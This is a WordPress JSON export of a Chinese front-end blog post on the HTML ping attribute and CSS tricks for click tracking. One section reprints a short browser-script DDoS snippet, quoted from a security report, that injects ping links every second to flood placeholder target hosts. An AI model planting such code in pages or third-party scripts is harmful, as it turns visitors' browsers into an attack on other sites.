{"id":10110,"date":"2021-09-14T16:02:05","date_gmt":"2021-09-14T08:02:05","guid":{"rendered":"https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110"},"modified":"2021-09-14T16:02:05","modified_gmt":"2021-09-14T08:02:05","slug":"html-ping","status":"publish","type":"post","link":"https:\/\/www.zhangxinxu.com\/wordpress\/2021\/09\/html-ping\/","title":{"rendered":"\u501f\u52a9HTML ping\u5c5e\u6027\u5b9e\u73b0\u6570\u636e\u4e0a\u62a5"},"content":{"rendered":"<p>by <a href=\"https:\/\/www.zhangxinxu.com\/\">zhangxinxu<\/a> from <a href=\"https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110\">https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110<\/a> \u946b\u7a7a\u95f4-\u946b\u751f\u6d3b<br \/>\n\u672c\u6587\u6b22\u8fce\u5206\u4eab\u4e0e\u805a\u5408\uff0c\u5168\u6587\u8f6c\u8f7d\u5c31\u4e0d\u5fc5\u4e86\uff0c\u5c0a\u91cd\u7248\u6743\uff0c\u5708\u5b50\u5c31\u8fd9\u4e48\u5927\uff0c\u82e5\u6025\u7528\u53ef\u4ee5\u8054\u7cfb\u6388\u6743\u3002<\/p>\n<p><script>window.wxShareImgUrl = 'https:\/\/www.zhangxinxu.com\/study\/image\/share\/202109-ping.png';if(!\/zhangxinxu\/.test(location.host)){document.body.addEventListener('mousedown',function(){location.href='https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110'});}<\/script><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/ping-cover.png\" width=\"480\" height=\"310\" alt=\"ping\u6587\u7ae0\u5c01\u9762\" class=\"alignnone clip thumb size-medium\" \/><\/p>\n<h3>\u4e00\u3001\u6e29\u6545\u77e5\u65b0\u4e4bCSS\u4e0a\u62a5<\/h3>\n<p>\u51e0\u5e74\u524d\u6709\u4ecb\u7ecd\u8fc7<a href=\"https:\/\/www.zhangxinxu.com\/wordpress\/2018\/12\/css-data-report-html-validate\/\">\u4f7f\u7528 CSS \u5b9e\u73b0\u6570\u636e\u4e0a\u62a5<\/a>\uff1a<\/p>\n<pre>.button-1:active::after {\r\n    content: url(.\/pixel.gif?action=click&id=button1);\r\n    display: none;\r\n}\r\n.button-2:active::after {\r\n    content: url(.\/pixel.gif?action=click&id=button2);\r\n    display: none;\r\n}<\/pre>\n<p>\u4e0d\u8fc7\u4e0a\u62a5\u5730\u5740\u5199\u5728 CSS \u4e2d\u4e0d\u592a\u597d\u7ef4\u62a4\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 CSS \u53d8\u91cf\u4f18\u5316\u4e0b\uff1a<\/p>\n<pre>.report:active::after {\r\n    content: var(--report);\r\n    display: inline-block;\r\n    position: absolute;\r\n}<\/pre>\n<p>\u6b64\u65f6\uff0c\u51e1\u4e8b\u8bbe\u7f6e\u4e86\u7c7b\u540d <code>.report<\/code> \u7684\u5143\u7d20\u6309\u4e0b\u7684\u65f6\u5019\u90fd\u4f1a\u4e0a\u62a5\uff0c\u4f8b\u5982\uff1a<\/p>\n<pre is-wrap>&lt;button class=\"report\" style=\"--report:url(.\/pixel.gif?action=click&amp;id=button1)\"&gt;\u6309\u94ae1&lt;\/button&gt;\r\n&lt;button class=\"report\" style=\"--report:url(.\/pixel.gif?action=click&amp;id=button2)\" &gt;\u6309\u94ae2&lt;\/button&gt;<\/pre>\n<p>\u6b64\u65f6\u70b9\u51fb\u8fd9\u4e24\u4e2a\u6309\u94ae\u5c31\u53ef\u4ee5\u770b\u5230\u5982\u4e0b\u6240\u793a\u7684\u8bf7\u6c42\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"\/\/image.zhangxinxu.com\/image\/blog\/201812\/2018-12-03_235450.png\" width=\"571\" height=\"250\" alt=\"CSS\u7edf\u8ba1\u70b9\u51fb\u884c\u4e3a\u622a\u56fe\" class=\"alignnone size-medium\"><\/p>\n<p>\u773c\u89c1\u4e3a\u5b9e\uff0c\u60a8\u53ef\u4ee5\u72e0\u72e0\u5730\u70b9\u51fb\u8fd9\u91cc\uff1a<a href=\"https:\/\/www.zhangxinxu.com\/study\/202109\/css-var-report-demo.php\" rel=\"noopener\" target=\"_blank\">CSS \u53d8\u91cf\u4e0e :active \u6570\u636e\u4e0a\u62a5 demo<\/a><\/p>\n<p>\u7136\u540e\uff0c\u6700\u8fd1\u53d1\u73b0\uff0c\u539f\u6765\u6d4f\u89c8\u5668\u6709\u4e2a HTML \u5c5e\u6027\u539f\u751f\u5c31\u652f\u6301\u6570\u636e\u4e0a\u62a5\u7684\u3002<\/p>\n<p><span class=\"hidden\">\/\/zxx: \u5982\u679c\u4f60\u770b\u5230\u8fd9\u6bb5\u6587\u5b57\uff0c\u8bf4\u660e\u4f60\u73b0\u5728\u8bbf\u95ee\u662f\u4f53\u9a8c\u7cdf\u7cd5\u7684\u5783\u573e\u76d7\u7248\u7f51\u7ad9\uff0c\u4f60\u53ef\u4ee5\u8bbf\u95ee\u539f\u6587\u83b7\u5f97\u5f88\u597d\u7684\u4f53\u9a8c\uff1ahttps:\/\/www.zhangxinxu.com\/wordpress\/?p=10110\uff08\u4f5c\u8005\u5f20\u946b\u65ed\uff09<\/span><\/p>\n<h3>\u4e8c\u3001ping \u5c5e\u6027\u4e0e\u6570\u636e\u4e0a\u62a5<\/h3>\n<p>\u5bf9\u4e8e <code>&lt;a&gt;<\/code> \u94fe\u63a5\u5143\u7d20\uff0c\u5b58\u5728\u4e00\u4e2a\u5f88\u591a\u4eba\u4e0d\u77e5\u9053\u7684\u5c5e\u6027\u2014\u2014 <code>ping<\/code> \u5c5e\u6027\uff0c\u53ea\u8981\u8bbe\u7f6e\u4e86 <code>ping<\/code> \u5c5e\u6027\uff0c\u7528\u6237\u70b9\u51fb\u6b64\u94fe\u63a5\u5143\u7d20\u7684\u65f6\u5019\uff0c\u6d4f\u89c8\u5668\u5c31\u4f1a\u81ea\u52a8\u53d1\u9001\u4e00\u4e2a POST \u8bf7\u6c42\u7ed9 <code>ping<\/code> \u5c5e\u6027\u503c\u5730\u5740\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u9875\u9762\u4e2d\u6709\u5982\u4e0b HTML \u4ee3\u7801\uff1a<\/p>\n<pre is-wrap>&lt;a href ping=\"\/pixel.gif?action=click&amp;id=link1\"&gt;\u94fe\u63a51&lt;\/a&gt;\r\n&lt;a href ping=\"\/pixel.gif?action=click&amp;id=link2\"&gt;\u94fe\u63a52&lt;\/a&gt;<\/pre>\n<p>\u6b64\u65f6\uff0c\u70b9\u51fb\u201c\u94fe\u63a51\u201d\u548c\u201c\u94fe\u63a52\u201d\uff0c\u6d4f\u89c8\u5668\u5c31\u4f1a\u7ed9\u670d\u52a1\u5668 POST <code>'\/pixel.gif...'<\/code>\u8fd9\u4e2a\u5730\u5740\u3002<\/p>\n<p>\u6211\u4e13\u95e8\u505a\u4e86\u4e2a\u7684demo\uff0c\u60a8\u53ef\u4ee5\u72e0\u72e0\u5730\u70b9\u51fb\u8fd9\u91cc\uff1a<a href=\"https:\/\/www.zhangxinxu.com\/study\/202109\/html-ping-report-demo.php\" rel=\"noopener\" target=\"_blank\">HTML ping \u5c5e\u6027\u4e0e\u6570\u636e\u4e0a\u62a5 demo<\/a><\/p>\n<p>\u6253\u5f00\u4e0a\u8ff0\u9875\u9762\u7684\u63a7\u5236\u53f0\uff0c\u5207\u6362\u5230\u7f51\u7edc\u9762\u677f\uff0c\u7136\u540e\u70b9\u51fb\u9875\u9762\u4e2d\u7684\u4e24\u4e2a\u94fe\u63a5\u5143\u7d20\uff08\u5982\u4e0b\u56fe\u6240\u793a\uff09\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/2021-09-14_113730.png\" width=\"402\" height=\"201\" alt=\"\u94fe\u63a5\u70b9\u51fb\u622a\u56fe\" class=\"alignnone size-medium\" \/><\/p>\n<p>\u6b64\u65f6\u5c31\u53ef\u4ee5\u770b\u5230 POST \u8bf7\u6c42\u53d1\u51fa\u4e86\uff0c\u5982\u4e0b\u622a\u56fe\u6240\u793a\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/2021-09-14_113947.png\" width=\"586\" height=\"226\" alt=\"post\u8bf7\u6c42\u4e00\u5f20\u56fe\u7247\u793a\u610f\" class=\"alignnone size-medium\" \/><\/p>\n<p>\u4e0d\u8fc7 405 \u4e86\uff0c\u56e0\u4e3a\u56fe\u7247\u65e0\u6cd5\u63a5\u53d7 POST \u8bf7\u6c42\uff0c\u88ab\u670d\u52a1\u5668\u963b\u6b62\u4e86\uff0c\u5b9e\u9645\u5f00\u53d1\u80af\u5b9a\u4f1a\u4f7f\u7528\u4e00\u4e2a\u4e13\u95e8\u63a5\u53d7 POST \u6570\u636e\u7684\u5730\u5740\u3002<\/p>\n<p>\u867d\u7136\u8bf7\u6c42\u88ab\u963b\u6b62\uff0c\u4f46\u662f\u8bf7\u6c42\u5934\u4fe1\u606f\u4f9d\u7136\u53ef\u89c1\uff0c\u6211\u4eec\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/2021-09-14_142015.png\" width=\"542\" height=\"631\" alt=\"\u8bf7\u6c42\u5934\u4fe1\u606f\" class=\"alignnone size-medium\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u5230 ping \u8bf7\u6c42\u7684 content-type \u662f text\/ping\uff0c\u5305\u542b\u4e86\u7528\u6237\u7684 User-Agent\uff0c\u662f\u5426\u8de8\u57df\uff0c\u76ee\u6807\u6765\u6e90\u5730\u5740\u7b49\u4fe1\u606f\uff0c\u975e\u5e38\u65b9\u4fbf\u6570\u636e\u6536\u96c6\u7684\u65f6\u5019\u8fdb\u884c\u8ffd\u8e2a\u3002<\/p>\n<h4>ping \u5c5e\u6027\u7684\u4f18\u52bf<\/h4>\n<p>\u4f7f\u7528 <code>ping<\/code> \u5c5e\u6027\u5b9e\u73b0\u6570\u636e\u4e0a\u62a5\u7684\u4f18\u70b9\u5982\u4e0b\uff1a<\/p>\n<ol>\n<li>\u65e0\u9700 JavaScript \u4ee3\u7801\u53c2\u4e0e\uff0c\u7f51\u9875\u529f\u80fd\u5f02\u5e38\u4e5f\u80fd\u4e0a\u62a5\uff1b<\/li>\n<li>\u4e0d\u53d7\u6d4f\u89c8\u5668\u5237\u65b0\u3001\u8df3\u8f6c\u8fc7\u5173\u95ed\u5f71\u54cd\uff0c\u4e5f\u4e0d\u4f1a\u963b\u585e\u9875\u9762\u540e\u7eed\u884c\u4e3a\uff0c\u8fd9\u4e00\u70b9\u548c <code>navigator.sendBeacon()<\/code> \u7c7b\u4f3c\uff0c\u53ef\u4ee5\u4fdd\u8bc1\u6570\u636e\u4e0a\u62a5\u7684\u51c6\u786e\u6027\uff1b<\/li>\n<li>\u652f\u6301\u8de8\u57df\uff1b\n<pre>&lt;a href=\"https:\/\/www.zhangxinxu.com\/\" \r\n  ping=\"https:\/\/www.canvasapi.cn\/notify.php\"&gt;\u70b9\u51fb\u6211&lt;\/a&gt;<\/pre>\n<\/li>\n<li>\u53ef\u4e0a\u62a5\u5927\u91cf\u6570\u636e\uff0c\u56e0\u4e3a\u662f POST \u8bf7\u6c42\uff1b<\/li>\n<li>\u8bed\u4e49\u660e\u786e\uff0c\u4f7f\u7528\u65b9\u4fbf\uff0c\u7075\u6d3b\u81ea\u4e3b\u3002<\/li>\n<\/ol>\n<h4>ping \u5c5e\u6027\u7684\u52a3\u52bf<\/h4>\n<p>ping \u5c5e\u6027\u7684\u4e0d\u8db3\u4e5f\u662f\u5f88\u660e\u663e\u7684\u3002<\/p>\n<ul>\n<li>\u53ea\u80fd\u652f\u6301\u70b9\u51fb\u884c\u4e3a\u7684\u4e0a\u62a5\uff0c\u5982\u679c\u662f\u8fdb\u5165\u89c6\u533a\uff0c\u6216\u5f39\u6846\u663e\u793a\u7684\u4e0a\u62a5\uff0c\u9700\u8981\u989d\u5916\u89e6\u53d1\u4e0b\u5143\u7d20\u7684 <code>click()<\/code> \u884c\u4e3a\uff1b<\/li>\n<li>\u53ea\u80fd\u652f\u6301 <code>&lt;a&gt;<\/code> \u5143\u7d20\uff0c\u5728\u5176\u4ed6\u5143\u7d20\u4e0a\u8bbe\u7f6e ping \u5c5e\u6027\u6ca1\u6709\u4f5c\u7528\uff0c\u8fd9\u5c31\u9650\u5236\u4e86\u5176\u4f7f\u7528\u8303\u56f4\uff0c\u56e0\u4e3a\u5f88\u591a\u5f00\u53d1\u559c\u6b22 div \u4e00\u628a\u68ad\u3002<\/li>\n<li>\u53ea\u80fd\u662f POST \u8bf7\u6c42\uff0c\u76ee\u524d\u4e3b\u6d41\u7684\u6570\u636e\u7edf\u8ba1\u8fd8\u662f\u65e5\u5fd7\u4e2d\u7684 GET \u8bf7\u6c42\uff0c\u4e0d\u80fd\u590d\u7528\u73b0\u6709\u7684\u57fa\u5efa\u3002<\/li>\n<li>\u51fa\u751f\u4e0d\u597d\uff0c\u8eab\u4e3a HTML \u5c5e\u6027\uff0c\u5929\u7136\u53d7\u67d0\u4e9b\u5f00\u53d1\u8005\u65e0\u89c6\u4e0e\u4e0d\u5c51\u3002<\/li>\n<li>\u9002\u5408\u5728\u79fb\u52a8\u7aef\u9879\u76ee\u4f7f\u7528\uff0cPC\u7aef\u9700\u8981\u914c\u60c5\u4f7f\u7528\uff08\u4e0d\u9700\u8981\u8003\u8651\u4e0a\u62a5\u603b\u91cf\u7684\u60c5\u51b5\u4e0b\uff09\uff0c\u56e0\u4e3a\u76ee\u524d IE \u548c Firefox \u6d4f\u89c8\u5668\u90fd\u4e0d\u652f\u6301\uff08\u6216\u6ca1\u6709\u9ed8\u8ba4\u5f00\u542f\u652f\u6301\uff09\u3002\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/2021-09-14_154852.png\" width=\"640\" height=\"324\" alt=\"ping \u5c5e\u6027\u7684\u517c\u5bb9\u6027\" class=\"alignnone size-medium\" \/><\/li>\n<\/ul>\n<h3>\u4e09\u3001Ping \u5c5e\u6027\u4e0e DDoS \u653b\u51fb<\/h3>\n<p>\u65e2\u7136\u70b9\u51fb\u94fe\u63a5\u7684\u540c\u65f6\u4f1a\u53d1\u9001\u4e00\u4e2a POST \u8bf7\u6c42\uff0c\u90a3\u4e48 ping \u5c5e\u6027\u53ef\u4ee5\u505a\u7684\u4e8b\u60c5\u80af\u5b9a\u4e0d\u4ec5\u4ec5\u662f\u4e0a\u62a5\u3002<\/p>\n<p>\u5176\u5b9e\uff0c\u4ece\u6570\u5e74\u524d\u5f00\u59cb\u5c31\u6709\u4eba\u5229\u7528 ping \u5c5e\u6027\u53d1\u8d77 DDoS \u653b\u51fb\uff0c<a href=\"https:\/\/www.imperva.com\/blog\/the-ping-is-the-thing-popular-html5-feature-used-to-trick-chinese-mobile-users-into-joining-latest-ddos-attack\/\" rel=\"noopener nofollow\" target=\"_blank\">\u8fd9\u7bc7\u6587\u7ae0<\/a>\u6709\u4ecb\u7ecd\u3002<\/p>\n<p>\u653b\u51fb\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre>var arr = ['https:\/\/www.exampe1.com', 'https:\/\/www.exampe2.com', 'https:\/\/www.exampe3.com'];\r\nfunction yzk( ){\r\n    var indexarr = Math.floor((Math.random( )*arr.length));\r\n    document.writeln(\"&lt;script&gt;var link = document.createElement(\\'a\\');link.href=\\'\\';link.ping=\\'\"+\r\n        arr[indexarr] +\r\n    \"\\';document.head.appendChild(link); link.click();&lt;\/script&gt;\");\r\n}\r\n\r\nif(arr.length&gt;0){\r\n    var ytimename = setlnterval(\"yzk()\", 1000);\r\n}\r\n<\/pre>\n<p>\u521b\u5efa\u4e00\u4e2a <code>&lt;a&gt;<\/code> \u5143\u7d20\uff0c\u8bbe\u7f6e ping \u5730\u5740\uff0c\u89e6\u53d1\u6b64\u94fe\u63a5\u5143\u7d20\u7684 <code>click()<\/code> \u4e8b\u4ef6\uff0c\u6b64\u65f6\u5c31\u53ef\u4ee5\u5bf9\u76ee\u6807\u670d\u52a1\u5668\u53d1\u52a8\u8bf7\u6c42\u653b\u51fb\u4e86\uff0c\u4e0d\u505c\u5730\u5b9a\u65f6\u8bf7\u6c42\u653b\u51fb\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u5f88\u591a\u7f51\u7ad9\u4f1a\u4f7f\u7528\u5f00\u6e90\u7684\u7b2c\u4e09\u65b9 CDN \u670d\u52a1\uff0c\u8981\u662f\u54ea\u5929\u8fd9\u4e9b\u7b2c\u4e09\u65b9\u7684 JS \u91cc\u9762\u641e\u70b9\u4ec0\u4e48\uff0c\u5f04\u4e2a DDoS \u653b\u51fb\u4ec0\u4e48\u7684\uff0c\u90a3\u662f\u5f88Easy\u7684\uff0c\u4e14\u5a01\u529b\u4f1a\u975e\u5e38\u60ca\u4eba\u3002<\/p>\n<h3>\u56db\u3001\u8bc4\u4ef7\u4e00\u4e0b<\/h3>\n<p>ping \u5c5e\u6027\u4e0a\u62a5\u5c24\u5176\u72ec\u5230\u4e4b\u5904\uff0c\u53ef\u4ee5\u7528\u5230\u9700\u8981\u7cbe\u786e\u77e5\u9053\u6570\u636e\uff0c\u4f46\u662f\u4e0d\u9700\u8981\u90a3\u4e48\u5e7f\u6cdb\u6216\u5927\u89c4\u6a21\u7684\u573a\u666f\u3002<\/p>\n<p>\u4f8b\u5982 AB \u6d4b\u8bd5\u5c31\u975e\u5e38\u5408\u9002\u3002<\/p>\n<p>\u540c\u6837\u4e24\u4e2a\u5e7f\u544a\u56fe\uff0c\u5404\u81ea 50% \u663e\u793a\uff0c\u5206\u522b\u9884\u57cb ping \u5c5e\u6027\uff0c\u7136\u540e\u5904\u7406 POST \u8bf7\u6c42\uff0c\u5c31\u80fd\u5feb\u901f\u77e5\u9053\u54ea\u4e2a\u5e7f\u544a\u56fe\u7684\u70b9\u51fb\u6548\u679c\u597d\u4e86\uff0c\u4e0d\u9700\u8981\u7ecf\u8fc7\u5927\u6570\u636e\uff0c\u524d\u7aef\u81ea\u5df1\u5c31\u80fd\u641e\u5b9a\u8fd9\u4e2a\u4e8b\u60c5\uff0c\u6bd4\u8f83\u5bb9\u6613\u51fa\u7ee9\u6548\u3002<\/p>\n<p>\u76f8\u5f53\u4e8e\u4e00\u4e2a\u4f4e\u6210\u672c\u7684\u6760\u6746\uff0c\u7531\u4e8e\u6210\u672c\u4f4e\uff0c\u65e5\u540e\u8c03\u8f6c\u8239\u5934\u4e5f\u4f1a\u975e\u5e38\u65b9\u4fbf\u3002<\/p>\n<p>\u5982\u679c\u662f\u590d\u6742\u7684\u5927\u89c4\u6a21\u7684\u7cfb\u7edf\u4e0a\u62a5\uff0c\u5219 ping \u5c5e\u6027\u65b9\u6cd5\u5e76\u4e0d\u5408\u9002\uff0c\u8fd8\u662f\u4f7f\u7528\u4f20\u7edf\u7684 JavaScript \u53d1\u9001\u8bf7\u6c42\u7684\u65b9\u5f0f\u5427\u3002<\/p>\n<p>\u597d\uff0c\u4ee5\u4e0a\u5c31\u662f\u672c\u6587\u7684\u5185\u5bb9\u3002<\/p>\n<h4>\u5176\u4ed6<\/h4>\n<p>\u6628\u665a\u82b1\u4e86\u51e0\u4e2a\u5c0f\u65f6\u628a\u4ee3\u7801\u663e\u793a\u7f8e\u5316\u4e86\u4e0b\uff0c\u5982\u679c\u6709\u4eba\u559c\u6b22\u4f20\u7edf\u7684\u6709\u7684\u653e\u77e2\u7684\u9ad8\u4eae\uff0c\u53ef\u4ee5\u70b9\u51fb\u53f3\u4e0a\u89d2\u6309\u94ae\u8fdb\u884c\u8fd8\u539f\uff0c\u540c\u65f6\u589e\u52a0\u4e86\u4e00\u952e\u590d\u5236\u4ee3\u7801\u7684\u529f\u80fd\u3002<\/p>\n<p>\u8fd8\u6709\u4eba\u53cd\u9988\u6211\u7684\u7f51\u7ad9\u4e11\uff0c\u4e11\u5417\uff1f\u6211\u95ee\u4e86\u4e0b\u5bb6\u91cc\u7684\u9886\u5bfc\uff0c\u9886\u5bfc\u5475\u5475\u7b11\u4e86\u7b11\uff0c\u6b32\u8a00\u53c8\u6b62\u3002<\/p>\n<p>\u884c\uff0c\u6211\u61c2\u4e86\uff01<\/p>\n<p>\u6709\u6ca1\u6709\u8c01\u6709\u5174\u8da3\u5728\u4e0d\u5927\u6539\u7684\u524d\u63d0\u4e0b\u63d0\u5347\u4e0b\u7ad9\u70b9\u7684\u89c6\u89c9\u4f53\u9a8c\u7684\uff0c\u6700\u597d\u51fa\u4e2afigma\u89c6\u89c9\u7a3f\uff0c\u610f\u89c1\u91c7\u7eb3\u8005\u6211\u4f1a\u9001\u4e00\u672c\u7b7e\u540d\u7248\u7684\u300aCSS\u65b0\u4e16\u754c\u300b\uff0c\u4ef7\u503c128\u5143\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/where-ur.png\" width=\"180\" height=\"171\" alt=\"\u4f60\u5728\u54ea\u91cc\uff1f\" class=\"alignnone size-medium\" \/><\/p>\n<p>\u672c\u6587\u4e3a\u539f\u521b\u6587\u7ae0\uff0c\u6b22\u8fce\u5206\u4eab\uff0c\u52ff\u5168\u6587\u8f6c\u8f7d\uff0c\u5982\u679c\u5b9e\u5728\u559c\u6b22\uff0c\u53ef\u6536\u85cf\uff0c\u6c38\u4e0d\u8fc7\u671f\uff0c\u4e14\u4f1a\u53ca\u65f6\u66f4\u65b0\u77e5\u8bc6\u70b9\u53ca\u4fee\u6b63\u9519\u8bef\uff0c\u9605\u8bfb\u4f53\u9a8c\u4e5f\u66f4\u597d\u3002<br \/>\n\u672c\u6587\u5730\u5740\uff1a<a href=\"https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110\">https:\/\/www.zhangxinxu.com\/wordpress\/?p=10110<\/a><\/p>\n<p>\uff08\u672c\u7bc7\u5b8c\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/image.zhangxinxu.com\/image\/blog\/202109\/ping-cover.png\" width=\"160\" height=\"103\" alt=\"ping\u6587\u7ae0\u5c01\u9762\" class=\"alignright size-medium\" loading=\"lazy\" \/><\/p>\n<p>Navigator.sendBeacon() \u662f\u6d4f\u89c8\u5668\u63d0\u4f9b\u7684 JS \u5c42\u9762\u7684\u6570\u636e\u4e0a\u62a5\u65b9\u6cd5\uff0c\u800c HTML ping \u5c5e\u6027\u5219\u662f\u6d4f\u89c8\u5668\u5728 HTML \u5c42\u9762\u63d0\u4f9b\u7684 POST \u6570\u636e\u57cb\u70b9\u4e0a\u62a5\u65b9\u6cd5\uff0c\u6bd4\u9884\u60f3\u7684\u597d\u5b9e\u7528\u4e9b\uff0c\u5927\u5bb6\u53ef\u4ee5\u8fc7\u6765\u4e86\u89e3\u4e0b\uff0c\u8bf4\u4e0d\u5b9a\u5c31\u53ef\u4ee5\u7528\u8d77\u6765\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1097],"tags":[9,1289,1783,1782,1784,1577],"_links":{"self":[{"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/posts\/10110"}],"collection":[{"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/comments?post=10110"}],"version-history":[{"count":0,"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/posts\/10110\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/media?parent=10110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/categories?post=10110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zhangxinxu.com\/wordpress\/wp-json\/wp\/v2\/tags?post=10110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}